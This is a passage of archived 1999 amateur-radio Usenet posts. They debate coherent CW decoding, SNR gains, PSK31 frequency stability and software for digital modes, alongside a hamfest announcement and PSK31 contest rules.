only (PR, RTTY, etc. and Two-Tone-WEFAX). Amateur-FAX and SSTV are no
digital modes at all, as they are using as much different tones as they
have color shades (of grey or red or green or blue), thus the full voice
bandwidth from 1000 to 3000 Hz, really the analog way...

Enjoy the various software for soundcards with analog in- and outputs
and beware of digital TNCs for SSTV and FAX!

>Whatever happened to the fellow who invented Coherent CW (CCW)? As I
>understand it, his idea was to transmit and receive CW using computers.
>Perhaps some of those programs are around??

Ray Petit invented amateur CCW. He also invented Clover. He recently passed away. His original CCW circuits were all hardware, bucket brigade integrate and dump filters with synchronous sampling and slicing. The clean demodulated element stream then keyed a local audio oscillator. You listened to that and copied by ear. The idea behind CCW was to be able to dig deeper into the noise than you could by ear alone, not to relieve you of manually copying the code.

The coherent integrate and dump method synthesized a filter only 10 Hz wide (at 12 WPM), so SNR was improved rather dramatically over the typically used 500 Hz IF filter and bare ears. The synchronous sampling and slicing could deal with that narrow a bandwidth while your ears and brain could not because the code elements are too "soft" for ear/brain decoding when filtered that tightly, basically a raised cosine form. But since the code was perfectly formed, and at a known set speed, it was relatively easy to let a computer do the decoding instead. Most of the later efforts did it that way.

The width of the synthesized filter becomes narrower as the code speed is reduced, of course. Petit's original circuit could work at 12 WPM, 1.2 WPM, and 0.12 WPM, corresponding to synthesized filter widths of 10 Hz, 1 Hz, and 0.1 Hz. At the latter two speeds, computer copy is almost essential because humans can't copy that slow.

The SNR improvement over a 500 Hz filter is naively 16.99 dB for 12 WPM, 26.99 dB for 1.2 WPM, and 36.99 dB for 0.12 WPM. It isn't really that good, however, because the ear/brain can act as somewhat of a filter. Actual improvements are more on the order of 15.5 dB, 20.5 dB, and 25.5 dB. Because process gain is proportional to the square root of element duration, the improvements at the lowest speeds aren't as dramatic as may first be imagined. But OTOH since humans can't really copy 0.12 WPM at all, the improvement could also be considered infinite.

>You can copy machine generated CW using a computer and a slicer IF you have
>GOOD filtering. However, the slicer will not eliminate noise that affects
>copy. If you are truly interested in using a computer to copy CW, look for
>files on older QRZ CD's. Just like SSTV programs written for DOS, these CW
>programs cannot be used while running Windows.

CWGet is a Win95 program that works quite well on ordinary CW using a sound card interface. I'm not aware of any CCW programs which run natively under Win95 with the sound card, however. CCW requires realtime synchonization

to realize the integrate and dump gain, and Windoze isn't easy to program for that.
I'm not saying there aren't any Win95 CCW programs, I just haven't seen one.
Most seem to need to run natively under DOS where they can respond in realtime
to interrupts from the external timing reference.

>Can't you use Super Morse to copy CW, or is it limited to sending only? At
>one time they had a dandy keying circuit as part of the documentation.

SM will copy CW, but you have to demodulate it externally and present
it to the computer as a TTL on/off element stream. SM isn't adaptive, so
it doesn't track ragged sending. It is designed to force you to send well.
(The interface is intended to read a local hand key as a training aid.)

An adaptive program is pretty much essential for off the air copy. You could
use SM with a hardware CCW decoder. CCW is perfectly formed code at a
set speed, so the computer doesn't have to do much. But SM isn't capable of
doing the whole job via a sound card the way most modern off the air CW
programs do.

Its other advantages (artificial ones) are that there's no regulatory
speed limit on it at HF as there is with other digital signaling methods,
and you can use it on any frequency, even Novices can use it. So if
you have the SNR to burn, you can crank up to 2,000 WPM if you like.

There *are* much better codes and modulations, but the way our
regulations are stacked, there are a few reasons to consider machine
CW.

3424. Re: Decoding cw

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-07 00:00:00 UTC
From: Max Imo <reply@to.group>
Message-ID: <Ph5r3.1419$oa.53478@news.corecomm.net>
Source record: 17132

Excellent presentation and explanation Gary!

Aren't some operators using CCW (or at least a derivative) for extra or super high speed CW when working meteor scatter? I believe there may be a Windows programs that are used for that application. However, I don't believe that is what the originator of this thread had in mind. I believe he wanted a program to send and receive CW.

While there may be Windows based CW receiving/sending programs, as some have mentioned, the original programs were DOS based. The DOS based programs require good filtering to optimize performance and some work amazingly well. Windows based programs, should they exist, most likely use the sound card and provide built in filtering, somewhat on the order of the brick wall filtering found in the PSK31 programs.

I guess the bottom line is filtering - - - either software, firmware or wetware - - - regardless of the speed or operating system (computer or ears) to remove extraneous noise. That is what makes these programs work. Without filtering you must then use some sort of error correcting scheme. ALL have their advantages and disadvantages.

It might be noted that the original inquiry had asked about CW sending/receiving programs. Obviously there are other modes that may offer advantages over CW as has been mentioned in the thread. There is room for all modes in the amateur service, and also room for discussion of the relative merits of either. That's what makes the hobby so interesting.

LOL

Of course the military convention can be the center frequency as they seem
to have only one convention. Then of course, the taxpayers can pay for
another!! The commerical convention is and always has been to use the
lower of the emitted as MARK and the channel frequency. Half a hundred
silly E-messages will not change what has been around for many years!!

<SNIP>
Pardon my indiscriminate snipping of your message Gary. I found it quite interesting, and right on the mark. One question concerning PSK.

The PSK programs currently in use do have an automatic AFC function. As I understand it, this is used to shift the passband of the filter up or down to match the drift in the incoming signal. The NET mode should then shift your signal to match the frequency of the last transmitting station. As mentioned in posts on the PSK reflector, the PSK program in BPSK doesn't care what the transmit or receive frequency is, what sideband you are on, or what center frequency you have the program set to as long as the incoming signal is within the filter passband. SO - would it then be possible to write a program that would retune the transmit frequency to track the received frequency instead of shifting the programs center of the filter passband. (Hope I am explaining this clearly enough).

In other words, the program would change the transceivers transmit frequency instead of the programs bandpass center frequency.

It seems that most of the PSK stations I copy are in virtual lock-step with one another. It doesn't seem that two stations in QSO on CW hold that tight a tolerance. If the PSK program changed the transmit frequency both stations would always be on the same frequency at any given point in time (providing only one station utilized the correction). Obviously modern processor controlled rigs can have their frequency changed by a computer program - why not utilize that feature for PSK?

Could you not write a PSK program that would have a scanning feature that included scan edge limits; one that would automatically lock on a received PSK signal? Could we incorporate a speech recognition program that would encode our spoken word, send it via PSK (perhaps a higher speed and bandwidth) and decode the received PSK, turning it into voice on the other end?

I believe Goran has a fantastic program in PSK31. I also believe it is the forerunner of a new wave of thinking, and new modes, that may breathe new life into amateur radio.

Gary, you have failed to acknowledge VE3IQ who has done remarkable work extending what Ray Petit has done. COHERENT has been around for years, each year better than the last. We have consistently used signals below the noise level. Of course this requires channel accuracy in the one hertz range----easy with preset day transceivers, but "modern" hams simply do not want to discard the "swish around" mentality prevalent for fifty years. Bill DeCarle has done remarkable work but has not been recognized in any reasonable way. The power of a "big blast QST" does not negate that we have been doing as well and considerably better than PSK31 for years!! Progress is great and should be recognized but Bill DeCarle has been ignored. Do check out his web page. Of course, do not ignore that this "swish around" mentality HAS to stop----NOW!!! Cliff K7RR

Are you trying to use the serial port to key the transmitter, or the VOX on the transmitter? If you are using the serial port, have you told the PSK program what port to use? Are you using the 2N2222 keying circuit? If so, I STRONGLY suggest you consider changing to a relay keying circuit, or to an opto isolator circuit. The 2N2222 circuit straps the ground on your rig to the computer ground and could cause a problem.

There should be no reason to change IRQ or DMA settings. The program uses the sound card to transmit and receive the audio. If that were the problem I would think you would see it with some other program(s).

When you first try to transmit, does the transmitter key up? Do you have any problems with the computer when using the transmitter on any other mode? If so, perhaps there is RF getting into the computer.

Do you have the isolation transformers in the audio lines? If you do not, I STRONGLY suggest you do so. If you do not, you are coupling the ground of your rig to the computer, and this may be the problem.

LOL

Cliff, I believe you said "The military convention to specify a frequency is to Specify the MARK frequency". This is a correct statement for commercial but not for military. Two different standards (and it costs the taxpayers nothing).

HAve had both, as well as Standard C-508a,resulting in a certain experience in such matters.... I like the C-508 very well.... nice RX, decent audio (for it's size), and AA battery convenience.... I like the Q7a for all of the above, Plus 30-50 MHz coverage RX (fire depts here are Low band still). I had a VX1-r approximately two weeks....performance was good, nice audio, Lithium Ion batteries work well,but with this size rig,I do like the convienence of picking up spare power at the corner drugstore if you run out in a bind.....the BIG fault with the VX-1 is the inability to scan frequencies at VHF and UHF at the same time, unless they are programmed by computer...this omission makes the VX1r totally unsuitable for my needs....as you can tell I use my mini ht as a scanner as much as a transciever-the Q7 is ideal for this due to the frequency coverage.... they do act like a wireless Mike in conjunction with a nearby crossband radio....and that works very well... but 300 Mw is only gonna go so far.....
73 and as always, your mileage may vary....

Well nearly.
Program almost complete and WILL be released as freeware hopefully before the end of August. It will only work on a PC with win95 or above. I'm working on the save/load scan options at the moment and apart from that, it's all working. If you know of any other YAESU rigs that use the same command set as the FT920 then it will work with them as well (please let me know which ones. If the serial port rate is the only difference that's ok - I can allow for that)
You can see a screenshot at http://www.campbell84.freeserve.co.uk

3436. Seek pointers to software PLL

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-08 00:00:00 UTC
From: wde@hulk.wde.fast.net
Message-ID: <7oktm5rrg1@news1.fast.net>
Source record: 17002

Hello all,

I am looking for suggestions on implementing a software PLL
to detect an OOK signal with phase jitter. Pointers to references
would be greatly appreciated. I am asking here, as the problem has
some similarities to CW detection, although there are some differences.

The signal is on-off keyed, with the edges defined by a steady clock
signal at the sending end. The mark and space durations are multiples
of this clock, but may be large multiples, rather than the 1x, 3x, 5x
found in Morse. The on/off state is exact, no amplitude noise or error.
The time axis, however, is sampled at abour 6-7 times the basic clock rate,
and the sampling is unrelated to the clock. This causes a noticeable
phase jitter in the apparent edge timing.

I need to develop a software PLL to recover the original clock
as accurately as possible, to derive the original edges. One possible
advantage I may have is that the signal is saved in a file, and can be
reread any number of times. This is not a real-time problem. Because of
the sometimes sparse edges, fast lock-on and ability to hold frequency
bettween edges is important, but I need to ignore the phase jitter as
much as possible.

A web search for software phase-locked loops has been quite
disappointing. I am a competent C programmer, but this is not an area
that I have tangled with before. Thanks in advance for any suggestions,
and please ask iff more details would be helpful.

Bill Earnest, K3WPU wde@fast-dot-net Linux Powered Allentown, PA, USA
Computers, like air conditioners, work poorly with Windows open.

Yes, exactly so. That's why I called it naive. It makes no assumptions
past the known bandwidth.

<snip>
>Thus, when evaluating the SNR for aurally received CW, the critical
>bandwidth should be used when calculating the noise bandwidth, not the
>receiver IF filter bandwidth if it is wider than the critical band-

>normal aural reception.

That's a reasonable argument against a white noise channel, assuming
the listener has good pitch discrimination so that they can zero in on that
critical bandwidth. Not everyone does. It doesn't work so well if the channel
has coherent interference present. If we make no assumptions about the
channel except the ratio of signal power to signal plus noise power, with
noise defined as anything which isn't our signal, then we can't depend on
the masking effect of the ear to the degree you state. Mitigating that a bit,
some people do have very fine pitch discrimination, so even much stronger
coherent interference can be ignored to a large degree. That's very variable
from listener to listener, however.

I hesitate to make any assumptions about the ear/brain filter because
of the degree of variability different ears and brains exhibit. There is
a many dB span between what the worst and best of us can do copying
CW on a noisy and interference ridden channel. Some of that variability
is learned, some is innate.

You're assuming a phase coherent summer. An integrate and dump
filter such as Petit used adds signal power and noise power. Phase
coherency isn't preserved except for the start and stop timing of the
signals. So the process gain increase with increasing integrate and
dump time is only proportional to the square root of the ratio of the
symbol durations. In principle, a phase coherent summer could be
used, if we had a phase coherent reference. Petit abandoned that
early on because it required modifying the radios to get it, and would
require a much more accurate synchronized station reference clock
to maintain a lock with the signal (tone/carrier) phase.

>: CWGet is a Win95 program that works quite well on ordinary CW using a

>write it to the disk, but instead quickly process a completed buffer
>while the next buffer is being filled. There is no need to do the
>actual decoding in true real time for each audio cycle.

The integrate and dump filter has to be synchronized to the possible
start and stop times of the signal symbols, otherwise it doesn't work
because it would be randomly sampling both during times a symbol
might be present, and during periods when the symbol couldn't be
present, or partly during both intervals. The premise of CCW is that
we have a local reference, synchonized with the distant reference in
some manner so that we know precisely when an element can start
or stop. It then integrates during that interval, and samples the value
at the end of the interval before dumping the accumulated value and
preparing to start the cycle over.

The computer can't derive this information itself. It must come from the station reference. So the computer must be able to respond in realtime to interrupts generated by the station reference to synchonize the start and stop times of its integrate and dump filter, and its bit present/absent decision code. Win95 is not a friendly environment for programming to synchronize internal bits of a user program's activities to an external realtime interrupt.

The Win95 task scheduler is not deterministic, and interrupt handlers have to be written to run in ring zero of the OS. This is easier in DOS, because it is single tasking, and everything runs at effectively ring zero. In Win95, waking up a process, or changing the focus, is done by internal interrupts to the scheduler, and doesn't give the necessary fine control needed to synchonize parts of a user process. I don't doubt that a CCW program could be written that would work under Win95 (I expect most of the guts would have to be at ring zero), but it would take more sophisticated programming skills than it would to do it for DOS. In other words, it would require someone with extensive practice writing complex Win95 device drivers. (It would be easier to write for Linux, because the scheduler is deterministic, but it would still be harder than doing it on the bare silicon of the machine, which is effectively what you do when writing under DOS.)

I wasn't preparing a bibliography of weak signal methods, Cliff. It is true that
VE3IQ's Coherent and Africa are nice efforts. They are *not* CCW, however.
They use ASCII and PSK, not Morse and OOK.

Jan,
I have just installed a SB PCI128 card and although I do not have any
problems
there is a good explanation in the Users Guide that is installed in the
Start/Programs/Creative Menu
selection. (On my computer.)
Basically the old sound cards used the ISA bus. The new ones are using the
PCI bus which is
located in different hardware in the computer.
Try looking in the Users Guide for more information. Maybe the documentation
is not as good for the
PCI16

Here is something from the Users Guide you could check.

Sound Blaster PCI128 legacy emulation provides applications with the
resources necessary to function in MS-DOS Mode or an MS-DOS Prompt. Sound
Blaster PCI128 does not require most of the resources used by non-PCI (also
called ISA or Legacy) devices. To ensure compatibility with applications
designed to function with those non-PCI cards, the Sound Blaster PCI128
Legacy Device is used.
When legacy emulation is enabled in the Settings tab, the Sound Blaster
PCI128 Legacy Device will appear in the Device Manager.

Copyright © 1998 Creative Technology Ltd.

Look at your settings and see if you have an option for enabling legacy
emulation.

That is certainly true Gary. I grew up with Ray Pettit and earlier with
Woodsen who first developed this. I've been plagued with a bunch of
mossbacks who have not done their homework and could care less!
My point is that there have been many systems of weak signal
detection in ham radio for years, and they did not terminate with Pettit!
Ernst Schroeder, DJ7HS, developed a system of CCW in which ASCII
characters were recalled from memory and displayed on a screen!
Baudot or full ACSII works just fine. Anything from 40,60 and 120
characters per minute are available corresponding to 6.7, 10, and 20 Hz
bandwidth. I often use the 24 WPM system for ordinary QSO's as the CW is
SO perfect---CCW need or not! As a matter of fact, I've E-mailed Ernst to
see if he still makes his PCW program available. He and Bill DeCarle
wanted NOTHING for this effort-just some recognition! Both got damn
little for the effort, which is why I made the comment about QST! Both
may have given up in complete disgust as I have many times over.
I've given up trying to make my point about "swishing". Too many
are simply too old or unaware to understand. Tuning in a signal for
optimization is about as modern as the skate key is to transportation!

FOUNDATION FOR AMATEUR RADIO
c/o Al Brown
8645 TOWER DRIVE
LAUREL, MD 20723-1244

-- For immediate release --

F.A.R.FEST '99 AT NEW LOCATION

The Foundation for Amateur Radio (FAR) will sponsor the 42nd annual F.A.R.Fest amateur radio hamfest on Sunday, September 26, 1999, at Prince George's Stadium 1/4 mile south of the junction of US-50 on US-301 in Bowie, Maryland between Washington, DC and Annapolis, Maryland.

This is a new location for F.A.R.Fest, with a paved area that accommodates over 700 tailgaters. Vendors and other sellers will be able to set up under the canopy of the stadium concourse. General admission tickets into F.A.R.Fest '99 are $5.00 at the gate; $10.00 for tailgating, which requires the purchase of general admission. Vendors and other exhibitors should contact Marry Morris, N4TCI at amateur_radio@hotmail.com, or at 703-971-3905 for more information.

The Special Events station W3PRL-AM will be on display.

Talk-in frequencies are 146.520 MHz and 147.105(+) MHz.

To get to F.A.R.Fest '99:

From points North:
Take I-95 south to the Baltimore Beltway (I-695) to Exit 4 (I-97 South) toward Annapolis. On I-97 South, take Exit 7 (Route 3 South - Bowie/Odenton). Take Route 3 for approximately 11 miles. After passing under the Route 50 overpass, proceed to second traffic light and turn left into Stadium Drive. NOTE: Route 3 changes to Route 301 after you pass under Route 50.

From points South:
Take I-95 North to Exit 104 (Route 301 North). Take 301 North past Upper Marlboro. Go through the traffic light at the Route 197 intersection (Rip's Country Inn will be on the right). At the next traffic light, turn right into Stadium Drive.

From points East:
Take Route 50 West to Exit 13A (Route 301 South). At the second traffic light, turn left into Stadium Drive.

From points West:
From I-70 East, follow directions coming from points North.

From Washington, D.C. or the Capital Beltway:
From D.C., take New York Avenue to Route 50 East, or the Capital Beltway, Exit 19A (Route 50 East). Take Route 50 to Exit 11 (Route 197). Go South on Route 197 for approximately 1.5 miles to Route 301. Turn left onto Route 301 and remain in the right lane. Turn right at first traffic light into Stadium Drive.

For general information on F.A.R.Fest '99, see the webpage at URL:

http://www.amateurradio-far.org/

or contact Al Brown, KZ3AB, at &#65533;amateur_radio@hotmail.com,&#65533; or at 301-490-3188.

F.A.R.FEST '99

What's important is Eb/No. Shannon says we can copy down to
-0.6 dB Eb/No, but he doesn't tell us how, though he gives us several
clues. In practice, the best we have done so far is an Eb/No of
2 dB (Galileo). PSK31 can't approach that, it doesn't have enough
coding gain (none in BPSK mode). But Eb/No means the ratio
to signal power to noise power *in the modulation symbol matched
filter bandwidth*. In a wider bandwidth, we're just talking SNR, and
that can be negative.

The matched filter for PSK31 is approximately 31.5 Hz, and it isn't
exactly rectangular (it is shaped). So the signal can be below the
noise in a 500 Hz bandwidth, but to still be copyable it can't be
below the noise in a 31.5 Hz bandwidth (and it actually has to be
several dB above the noise in that bandwidth, I haven't calculated
exactly how much, but with no coding gain it has got to be several
dB to give a satisfactorily low BER). That's why we can see it on
the tuning indicator even if we can't hear it straight out of the wider
filter of the receiver.

>As far as the need for accurate frequency setting I doubt that there
>is an amateur transceiver made that can meet the requirement for
>reliable PSK31 without an operator to tune it. Just because a rig can
>display frequency in 1 Hz or 10 Hz steps *does not* mean it is
>accurate to 1 Hz or 10 Hz. For example, an IC761 tunes in 10 Hz steps
>but the frequency stability is +/- 100 Hz over +14 to +140 deg F.

Yeah. This is a common problem with weak signal modes. To get a
positive Eb/No, we have to use a matched filter, and that's *tight*,
with no room for tuning error or drift. A crystal oscillator just won't
cut it. We need to lock to a much more stable external source,
or tweak the tuning by hand and eye.

WWV isn't good enough, due to variations in skywave path length,
for some of the weaker signal modes. WWVB is better since the
groundwave path is much more stable. GPS can be better (with
SA averaged out). Etc. There are two separate problems to be

addressed, stability, and the offsets of the two stations involved. The oscillators need to be stable, and we must be able to correct any offsets between them. The latter are propagation related.

One way out of these problems is to lock to a common external reference. If we lock the oscillators of both stations to a common source, they'll stay in step regardless of whether the reference drifts or not. We'd like the external reference to be an equal distance from each station, and have the same propagation conditions to each station.

One such external reference can be signals from a geostationary satellite. In particular, the color subcarrier reference frequency of a TV signal on a GEO transponder. It doesn't have to be very stable, it can come from the ordinary crystal oscillator of a handheld ENG camera being uplinked. As long as both stations can see it, they have a common reference.

Since analog FM is used for these transponders, at least for now, any errors in the TVRO setup won't affect the recovered color subcarrier frequency. (In other words, the LNB can be several MHz off frequency and the FM signal will still demodulate correctly and the color subcarrier phase and frequency won't be altered.) Since both stations are approximately equal distant from a point in the sky 22,300 miles up, and the propagation paths to the two stations are also approximately equal, almost all of the errors cancel out. (This assumes the selected sat is high in both stations' sky.)

Residual errors can be calculated and appropriate offsets included if extreme phase accuracy between the stations is required (this would be overkill for a mode like PSK31, but would be necessary for some even weaker signal methods).

I've played with this technique. It is pretty good. But unfortunately, TV is going digital (totally by 2006), so this simple reference signal will soon be gone. We could use the recovered digital TV signal clock, but there are problems extracting that without creating indeterminate offsets.

Our best long term solution is probably GPS. That's designed so that all the necessary information is easily extracted from the signal. We don't even need to share a common satellite as the reference since all the GPS sats have atomic clocks, and broadcast the offsets between them. In theory, we can get down to 1 part in 10^12 this way, though in practice there are a number of problems. PSK31 can get by with 1 part in 10^8 error on lower HF, however, so something fairly simple will be sufficient to get a good enough reference.

Or we can tune by hand and eye. Since PSK31 is designed as a conversational mode, that's the most reasonable solution. It doesn't require any extra hardware, and the operator is there anyway.

... as part of a fair chain of blarney ...

If any of you care to locate/purchase a copy of the NZART Callbook (ISSN 0110-5537), you'll find all the info you need. Failing that, email me (direct) and I'll send you a scan of the System map from the above, 480k of jpg (300dpi).

Yes, we're proud of our achievements, but not resting on laurels - the system as it stands is frequently extended, and major upgrades occur occasionally. What I have is dated June 97 (from 98 Callbook), and may be out of date at that.

Hopefully helpfully...

But if the ARRL proposal is adopted, CW will be the only digital mode
allowed for nocode techs to use on HF. They will be prohibited from
using the "better suited" modes so will be forced to settle for
machine generated/copied CW - any port in a storm. Not sure the
ARRL realizes that fact.

: users are (like moi) not licensed for HF.

And (c) not to mention how interesting it would be working
portable:-).

The 80/40 m transceivers are bulky compared to HTs.

The antenna would have to be quite large to give even some efficiency
on 80/40 m.

The batteries would be quite heavy due to the (relatively short)
inefficient antenna. Carrying a car battery on your shoulders all day
long would be a hard exercise :-)

It would be quite painful walking around when the antenna is hitting
the overhead power lines, not to mention trying to continue the QSO
when trying to enter a bus (with the antenna extended :-).

On Sat, 07 Aug 1999 20:19:58 GMT, ke4zv@bellsouth.net (Gary Coffman)
wrote:

: The width of the synthesized filter becomes narrower as the code speed
: is reduced, of course. Petit's original circuit could work at 12 WPM, 1.2 WPM,
: and 0.12 WPM, corresponding to synthesized filter widths of 10 Hz, 1 Hz,
: and 0.1 Hz. At the latter two speeds, computer copy is almost essential
: because humans can't copy that slow.
:
: The SNR improvement over a 500 Hz filter is naively 16.99 dB for 12 WPM,
: 26.99 dB for 1.2 WPM, and 36.99 dB for 0.12 WPM.

That 17 dB improvement for 12 WPM may be relative to some simple
decoder that does not use any filtering after the 500 Hz filter.

: It isn't really that good, however, because the ear/brain can act as somewhat of a
filter.
: Actual improvements are more on the order of 15.5 dB, 20.5 dB, and 25.5 dB.

Here is the same mistake as when some aural CW reception proponents
claim that CW is copyable with negative SNR :-).

With all those lossy audio recording formats (e.g. MiniDisc, Dolby
Digital etc.) there has been a lot of psychoacoustic research in what
sounds are masked by other sounds, thus, there is no need to record
these sounds, since they would eventually be masked by the ear. In a
critical bandwidth the strongest signal masks the weaker. Thus, for a
single tone and noise, the question is, is a certain critical
bandwidth "captured" by the signal or by the noise. For audio
frequencies around 1000 Hz, the critical bandwidth is in the order of
50-100 Hz depending slightly on the absolute levels.

BTW, has anyone tried to record noisy CW signals on a MiniDisc ?

Thus, when evaluating the SNR for aurally received CW, the critical
bandwidth should be used when calculating the noise bandwidth, not the
receiver IF filter bandwidth if it is wider than the critical band-
width. The main effect of the 500 Hz IF filter is that it reduces
listening fatigue. Comparing to 10 Hz CCW bandwidth with the 50-100 Hz
critical aural bandwidth, would give an improvement of 7 .. 10 dB over
normal aural reception.

: Because process gain is proportional to the square root of element
: duration, the improvements at the lowest speeds aren't as dramatic as
: may first be imagined.

Where does this square root come from ? If the speed is reduced to
1/10th, the transmitted energy/bit is increased by 10 dB, but on the
same time, the noise bandwidth has dropped to 1/10 and the noise
energy is the same, thus the improvement is 10 dB. Or looking in an
other way, split the long bit time into 10 segments and add the signal
voltages coherently producing a _voltage_ ten times as large (+20 dB)
as an individual segment. Assuming white noise, the noise is added
with random phase, the noise _power_ is added producing the power ten
times (+10 dB) that of an individual segment (or a voltage that is
sqrt(10) times larger than the noise voltage for an individual
segment). Thus, the improvement in SNR is 20-10 dB = 10 dB.

IMO, the CCW gain for 12, 1.2 and 0.12 WPM over aurally received CW
(assuming 100 Hz critical bandwidth) should be 10, 20 and 30 dB
respectively.

: But OTOH since humans can't really copy 0.12
: WPM at all, the improvement could also be considered infinite.
:
: >You can copy machine generated CW using a computer and a slicer IF you have
: >GOOD filtering. However, the slicer will not eliminate noise that affects
: >copy. If you are truly interested in using a computer to copy CW, look for
: >files on older QRZ CD's. Just like SSTV programs written for DOS, these CW
: >programs cannot be used while running Windows.
:
: CWGet is a Win95 program that works quite well on ordinary CW using a
: sound card interface. I'm not aware of any CCW programs which run natively
: under Win95 with the sound card, however. CCW requires realtime synchonization
: to realize the integrate and dump gain, and Windoze isn't easy to program for that.

I do not see why you would need a real time operating system for
reception of CCW on a sound card. The stability of the sound card
sample clock and the operating system's ability to process the filled
buffers should be enough. If it possible to record several minutes of
sound and write it to disk during this operation would indicate that
the system is sufficient. In practice, there is not even a need to
write it to the disk, but instead quickly process a completed buffer
while the next buffer is being filled. There is no need to do the
actual decoding in true real time for each audio cycle.

If the transmitter is controlled directly by a pin in the parallel
port, then the timing becomes critical. I haven't used Win95, so I can
not say how bad it is in this respect, but at least in WinNT with
suitable priorities, a sleeping process wakes up within a few
milliseconds even under severe test loads (e.g. grabbing the title bar
of a window and rattling the window all around the screen). Anyway,
these timing errors are not cumulative as long as you calculate the
next scheduled wake-up time from the clock.

On the other hand, if an SSB transceiver is used for both CCW
reception and transmission, it would be natural to use the sound card
to generate the transmitted audio. In this case the operating system
is only required to feed the sound card with precalculated sound

buffers fast enough so that there will be no gaps in the audio. The critical timing is handled by the sample clock on the sound card.

3452. PSK Contest Reminder

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-08-09 00:00:00 UTC
From: "Andrew J. O'Brien" <obrienaj@netsync.net>
Message-ID: <7olu7n$k65$1@mica.netsync.net>
Source record: 17010

Now less than a month away, spread the news!

PSK 31 Contest

Sponsored by the Chautauqua County Contest Club

DATE 0000 UTC September 4 1999 2359 UTC September 4 1999

Bands: 80, 40, 20, 15, and 10 m.

Classes:

A: Single Operator / All Band

B: Single Operator / Single Band

C: Multi Operator / Single TX / All Band

D: SWL / All Band

NOTE 1:

Single operator all band may also enter as a single band entry of their choice too.

NOTE 2:

DX spotting and alerting assistance is permitted in all classes.

Modes:

PSK31 (BPSK, QPSK) ONLY

EXCHANGES:

RST + QSO number, starting with 001.

QSO Points:

QSO with own country, 5 points.

QSO with other countries in own continent 10 points.

QSO with other continents 15 points.

Same station can be worked once on each band.

In VK, VE, JA and W, each call area will count as separate country.

Multipliers:

Each DXCC country on each band, including first contact with Australia, Canada, Japan and USA. Additionally, each call area in VK, VE, JA and W will count as one (1) multiplier on each band.

NOTE:

Stations operating from call areas other than their call ID, are asked to use '/x' for their actual call area, i.e. K5DJ/1.

Scoring:

Sum of QSO points x sum of multipliers = TOTAL SCORE.

Awards:

To the top stations in each class, country and district, if the number of QSOs is reasonable.

Logs:

Use separate log sheets for each band.

Log must show: BAND, DATE/TIME (UTC), CALLSIGN, EXCHANGE MESSAGE SENT and RECEIVED, MULTIPLIERS, and QSO points.

Summary sheet must show scoring, class, your callsign, name and address.

Multi-Op stations must show the callsign and names of all operators involved.

Please advise of any club participation, your score will be added to the aggregated score of your club.

Your comments will be very much appreciated.

Logs Deadline:

Logs must be received by October 10 to qualify.

Mail logs to:

PSK CONTEST ,Andrew O'Brien, KB2EOQ, 9082 Fredonia, NY 14063 . USA

or send as E-mail: obrienaj@netsync.net

Homepage: http://www.netsync.net/users/obrienaj/carc.htm

: >bandwidth should be used when calculating the noise bandwidth, not the
: >receiver IF filter bandwidth if it is wider than the critical band-
: >width. The main effect of the 500 Hz IF filter is that it reduces
: >listening fatigue. Comparing to 10 Hz CCW bandwidth with the 50-100 Hz
: >critical aural bandwidth, would give an improvement of 7 .. 10 dB over
: >normal aural reception.
:
: That's a reasonable argument against a white noise channel, ...

I was assuming a white noise channel.

: .... assuming
: the listener has good pitch discrimination so that they can zero in on that
: critical bandwidth. Not everyone does. It doesn't work so well if the channel
: has coherent interference present. If we make no assumptions about the
: channel except the ratio of signal power to signal plus noise power, with
: noise defined as anything which isn't our signal, then we can't depend on
: the masking effect of the ear to the degree you state. Mitigating that a bit,
: some people do have very fine pitch discrimination, so even much stronger
: coherent interference can be ignored to a large degree. That's very variable
: from listener to listener, however.

The masking effect is somewhat level dependent, a strong (unwanted)
signal masks over a larger critical bandwidth and this is also
somewhat asymmetric, masking frequencies above the unwanted tone more
than below it. No doubt, there are large individual variations, thus
the lossy audio compression methods are acceptable to most people, but
not for all.

: >: Because process gain is proportional to the square root of element
: >: duration, the improvements at the lowest speeds aren't as dramatic as
: >: may first be imagined.
: >
: >Where does this square root come from ? If the speed is reduced to
: >1/10th, the transmitted energy/bit is increased by 10 dB, but on the
: >same time, the noise bandwidth has dropped to 1/10 and the noise
: >energy is the same, thus the improvement is 10 dB. Or looking in an
: >other way, split the long bit time into 10 segments and add the signal

: >voltages coherently producing a _voltage_ ten times as large (+20 dB)
: >as an individual segment. Assuming white noise, the noise is added
: >with random phase, the noise _power_ is added producing the power ten
: >times (+10 dB) that of an individual segment (or a voltage that is
: >sqrt(10) times larger than the noise voltage for an individual
: >segment). Thus, the improvement in SNR is 20-10 dB = 10 dB.
:
: You're assuming a phase coherent summer. An integrate and dump
: filter such as Petit used adds signal power and noise power. Phase
: coherency isn't preserved except for the start and stop timing of the
: signals.

Yes, you are right, I had to recheck them article in QST 5-6/1981 by
Charles Woodson W6NEY and while it does do I/Q detection of the audio
tone, it does _not_ use the Q channel to phase lock the centre
frequency oscillator to the incoming signal, as I had incorrectly
assumed. This lack of phase locking also dictates the huge frequency
stability requirement for the whole QSO in order to fit the signal
into the narrow passband of the filter.

: So the process gain increase with increasing integrate and
: dump time is only proportional to the square root of the ratio of the
: symbol durations. In principle, a phase coherent summer could be
: used, if we had a phase coherent reference. Petit abandoned that
: early on because it required modifying the radios to get it, and would
: require a much more accurate synchronized station reference clock
: to maintain a lock with the signal (tone/carrier) phase.

A phase locked loop with a several second time constant would have
reduced the long term stability requirements considerably, but the
short time stability would still have to be quite good. A phase
coherent system would also suffer severely from any short term phase
shifts in the transmission medium (usually the ionosphere).

IMO, calling the CCW system Coherent-CW is a bit misnomer, I would
rather call it a synchronous-CW mode in contrast to the normal
(asynchronous) CW.

<Win95 and the need to have a common bit frame reference on both the
transmitter and receiver>

: The computer can't derive this information itself. It must come from the
: station reference. So the computer must be able to respond in realtime
: to interrupts generated by the station reference to synchonize the start
: and stop times of its integrate and dump filter, and its bit present/absent
: decision code. Win95 is not a friendly environment for programming to
: synchronize internal bits of a user program's activities to an external
: realtime interrupt.

Why use interrupts for this ?

For decades, radio astronomers have recorded the actual space noise on
one track and a timing reference from an atomic clock or hydrogen

maser on the other track. The tapes from all over the continent are
then collected and the VLBI image is created by matching the timing
pulses to produce an antenna with an angular resolution as if a single
antenna had spanned the continent.

We could use that principle as well, especially since we usually have
two input channels on the sound card, just record the incoming CCW on
one channel and the timing pulses on the other channel. The timing
might be the 1 pps pulses from a GPS received or the (modified) line
and frame synch pulses from a commonly visible geostationary TV
